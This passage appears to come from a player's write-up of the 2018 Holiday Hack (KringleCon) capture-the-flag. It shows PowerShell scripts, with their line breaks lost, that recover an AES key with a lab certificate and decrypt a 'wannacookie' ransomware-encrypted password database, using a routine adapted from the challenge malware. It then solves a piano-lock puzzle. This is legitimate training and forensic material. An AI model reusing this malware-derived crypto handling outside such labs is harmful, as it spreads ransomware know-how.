# Script used to obtain the decrypted AES 128bit Key# from the 512 key within the memory dumpfunction H2B {# HEX to Binaryparam($HX);$HX = $HX -split '(..)' | ? { $_ };ForEach ($value in $HX){[Convert]::ToInt32($value,16)}};function B2H {# Binary to HEXparam($DEC);$tmp = '';ForEach ($value in $DEC){$a = "{0:x}" -f [Int]$value;if ($a.length -eq 1){$tmp += '0' + $a} else {$tmp += $a}};return $tmp};function p_k_d($encrypted_string, [byte[]]$pub_bytes){$serverPfx = 'C:\KingleCon\server.pfx';$passwd = 'elves'$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2($serverPfx, $passwd);$decKey = $cert.PrivateKey.Decrypt($encrypted_string,[System.Security.Cryptography.RSAEncryptionPadding]::OaepSHA1);return $decKey;};function decrypt_key {# Function to decrypt the 512 key from memory dump# The 512 key from memory dump$pd_512 = '3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971'# Call Function H2B and pass $pd_512 variable to be changed from Hex to Binary$encrypted = $(H2B $pd_512);# Call Function p_k_d to decrypt the binary $encrypted variable$key = (p_k_d $encrypted);Write-Host('');Write-Host('Decrypted AES 128bit key: '+$key);};decrypt_key;
After running the script, the following decrypted AES 128 bit key was displayed within the terminal.
Decrypted AES 128bit key: 251 207 193 33 145 93 153 204 32 163 211 213 216 79 131 8
After successfully decrypting the key, I needed to use that key to decrypt the
alabaster_passwords.elfdb.wannacookie file. So, I used the above script and modified the code; which also included a modified function from the original PowerShell malware script.
# Script used to decrypt *.wannacookie encrypted filesfunction d_file($key, $File) {# Function to decrypt file# Modified function from original .ps1 file[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Int32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Security.Cryptography.AesManaged';$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AESP.BlockSize = 128;$AESP.KeySize = $KeySize;$AESP.Key = $key;$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);$DestFile = ($File -replace $Suffix);$FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);[Byte[]]$LenIV = New-Object Byte[] 4;$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($LenIV, 0, 3) | Out-Null;[Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0);[Byte[]]$IV = New-Object Byte[] $LIV;$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($IV, 0, $LIV) | Out-Null;$AESP.IV = $IV;$Transform = $AESP.CreateDecryptor();$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);[Int]$Count = 0;[Int]$BlockSzBts = $AESP.BlockSize / 8;[Byte[]]$Data = New-Object Byte[] $BlockSzBts;Do{$Count = $FileSR.Read($Data, 0, $BlockSzBts);$CryptoS.Write($Data, 0, $Count);}While ($Count -gt 0);$CryptoS.FlushFinalBlock();$CryptoS.Close();$FileSR.Close();$FileSW.Close();};function H2B {# HEX to Binaryparam($HX);$HX = $HX -split '(..)' | ? { $_ };ForEach ($value in $HX){[Convert]::ToInt32($value,16)}};function B2H {# Binary to HEXparam($DEC);$tmp = '';ForEach ($value in $DEC){$a = "{0:x}" -f [Int]$value;if ($a.length -eq 1){$tmp += '0' + $a}else {$tmp += $a}};return $tmp};function p_k_d($encrypted_string, [byte[]]$pub_bytes){# Funcion to decrypt PFX server.pfx key# File from combining server.cer and server.key using OpenSSL$serverPfx = 'C:\KingleCon\server.pfx';$passwd = 'elves'$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2($serverPfx, $passwd);$decKey = $cert.PrivateKey.Decrypt($encrypted_string,[System.Security.Cryptography.RSAEncryptionPadding]::OaepSHA1);return $decKey;};function decrypt_key {# Function to decrypt the 512 key from memory dump# The 512 key from memory dump$pd_512 = '3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971'# Call Function H2B and pass $pd_512 variable to be changed from Hex to Binary$encrypted = $(H2B $pd_512);# Call Function p_k_d to decrypt the binary $encrypted variable$key = (p_k_d $encrypted);Write-Host('');Write-Host('Decrypted AES 128bit key: '+$key);};function k_f_d ($filename) {# Function to decrypt the 512 key from memory dump# The 512 key from memory dump# The file is from the forensic_artifacts.zip$pd_512 = '3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971'# Call Function H2B and pass $pd_512 variable to be changed from Hex to Binary$encrypted = $(H2B $pd_512);# Call Function p_k_d to decrypt the binary $encrypted variable$key = (p_k_d $encrypted);# Call Function d_file to use the $key and $filename variables to decrypt the *.wannacookie file(d_file $key $filename);};k_f_d("C:\KingleCon\alabaster_passwords.elfdb.wannacookie")
The successful execution of the above code produced a new decrypted file named alabaster_passwords.elfdb. So, I issued the cat command to inspect the newly created file.
Based on the returned results, the file was a SQLite database. In addition, there appeared to be a table named passwords. So, I used sqlite3 to obtain all data from the passwords table.
Awesome! I had Alabaster’s vault password, as well as Alabaster telling me that I won.
Note: Objective 9.4 was the hardest out of all the challenges for me. I wanted to give special props to the following for collaborating, nudging, hinting, providing examples, and putting up with my duh moments:
@JustAnotherGuy, @totallynotrobots, @jollyfrogs, @almart, @ebopp, and @flapjacker
Piano Lock Challenge:
Within Santa’s Secret room was a door that contained a Piano Lock. Being able to crack the code would provide access to Santa’s Vault.
Using the password found from Alabaster’s database, I knew that the password was:
ED#ED#EED#EF#G#F#G#ABA#BA#B
However, remembering the email between Holly Evergreen and Alabaster Snowball (Network Traffic Analyzer Forensics) , Holly noted that the key should be in “D”. So, I took the notes and found a website that would convert the key form “E” to “D”:
http://www.logue.net/xp/
With the key now in “D”, the new notes were as follows:
D C# D C# D D C# D E F# E F# G A G# A G# A
At this point, I clicked on the Piano Lock and entered the notes in the key of “D”.
Success!
Note: if one used https://www.holidayhackchallenge.com/2018/story.html to keep track of the answers, Question 13 was not present on my badge. The answer to Question 13 was “You have unlocked Santa’s vault!”. Within the game, the popup message may not occur. So, I used https://pianolockn.kringlecastle.com to obtain the answer.
Objective — Who was Behind It All? Password:
Once the Vault Door was opened, I was greeted by Hans, two Elves-in-Disguise, and Santa. To my surprise, all were very cheery and congratulatory that I entered the vault.
So, in the end, Santa was behind it all.